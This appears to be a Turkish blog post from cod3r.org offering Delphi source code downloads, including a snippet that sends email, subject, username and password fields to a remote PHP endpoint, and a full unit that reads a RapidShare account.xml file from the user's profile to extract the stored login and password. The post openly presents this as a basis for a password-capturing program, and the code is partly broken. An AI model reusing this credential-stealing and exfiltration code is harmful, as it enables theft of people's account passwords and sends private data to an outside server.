Daha önce bir antivirus uygulamasının kaynak kodlarını  paylasmiştim.

Bknz : http://www.cod3r.org/delphi-anti-virus-kaynak-kodlari.html

Buda işinize yarayacak bir uygulama geliştirebilirsiniz.

Projede ek olarak isteğiniz bir dosyayı özel tarayabilirsiniz.

Kaynak kodlarını link :

http://www.zshare.net/download/991329277b3af8b0/

Delphi ile maillerinizi localde kontrol edebileceğiniz bir uygulama , arşivinizde bulunması gereken bir uygulama.

Uygulama kodlarını isterseniz indirin , ister direk kullanın.

Link : http://www.sendspace.com/file/13p9wr

Resim : http://img545.imageshack.us/img545/8495/20120120225218.jpg

www.cod3r.ORG

  ——————-cod3r.org———————————–

// post(lien,stringlists)
var list :TStringList;
begin
try
list:=TStringList.Create;

list.Add(‘email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’
+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text);
sStatusBar1.Panels[0].Text:=’Send data please wait …’;
try
Application.ProcessMessages;
sStatusBar1.Panels[0].Text:=Form1.IdHTTP1.Post(‘http://www.anonymousdz.eb2a.com/message.php’,list) ;

finally
list.Free;

except
on e:Exception do sStatusBar1.Panels[0].Text:=e.Message;
end;
end;

////////////////////////////////////////////////////////////////////////
procedure TForm3.sButton2Click(Sender: TObject);
begin

//

ShellExecute(Application.Handle,’open’,PChar(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text),nil,nil,SW_HIDE);
end;

//////////////////////////////////////////////////////////////////////

procedure TForm3.sButton3Click(Sender: TObject);
begin
//

Form1.wb1.Navigate(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text);
end;

—————————-cod3r.org———————

 

Verdiğim kodlarla delphi ile rapidshare şifrelerini yakalayan program yapabilir , geliştirebilirsiniz.

 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, xmldom, XMLIntf, msxmldom, XMLDoc, StdCtrls;

type
  TForm1 = class(TForm)
    Lv1: TListView;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure GetRapidShare;
    function compuser: string;
     function CurDrv: string;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
GetRapidShare();
end;

procedure tform1.GetRapidShare();
/// Coded By DeadLine ///
var
i,x:integer;
user, pw, path:string;
begin
path:= CurDrv + ':\Users\' + compuser + '\AppData\Local\RapidShare\account.xml';
form1.memo1.Lines.LoadFromFile(path);
begin
      //get host
        if copy(form1.memo1.lines[i], x, length('<login>')) = '<login>' then
          begin
            User := copy(form1.memo1.lines[i], x+length('<login>'), length(form1.memo1.lines[i])-25);
          end;
      //get port
        if copy(form1.memo1.lines[i], x, length('</passwort> ')) = '</passwort> ' then
          begin
            pw := copy(form1.memo1.lines[i], x+length('</passwort> '), length(form1.memo1.lines[i])-25);
          end;
              with form1.lv1.Items.Add do
                begin
                 caption := 'RapidShare';
                 subitems.add(user);
                 subitems.add(pw);
                end;
          end;
      end;
Function TForm1.compuser: string;
Var
   UserName : string;
   UserNameLen : Dword;
Begin
   UserNameLen := 255;
   SetLength(userName, UserNameLen) ;
   If GetUserName(PChar(UserName), UserNameLen) Then
     Result := Copy(UserName,1,UserNameLen - 1)
   Else
     Result := 'Unknown';
End;
function  TForm1.CurDrv: string;
var
  s1: string;
  s2: Char;
begin
  GetDir(0,s1);
  s2     := s1[1];
  CurDrv := s2;

end;
end.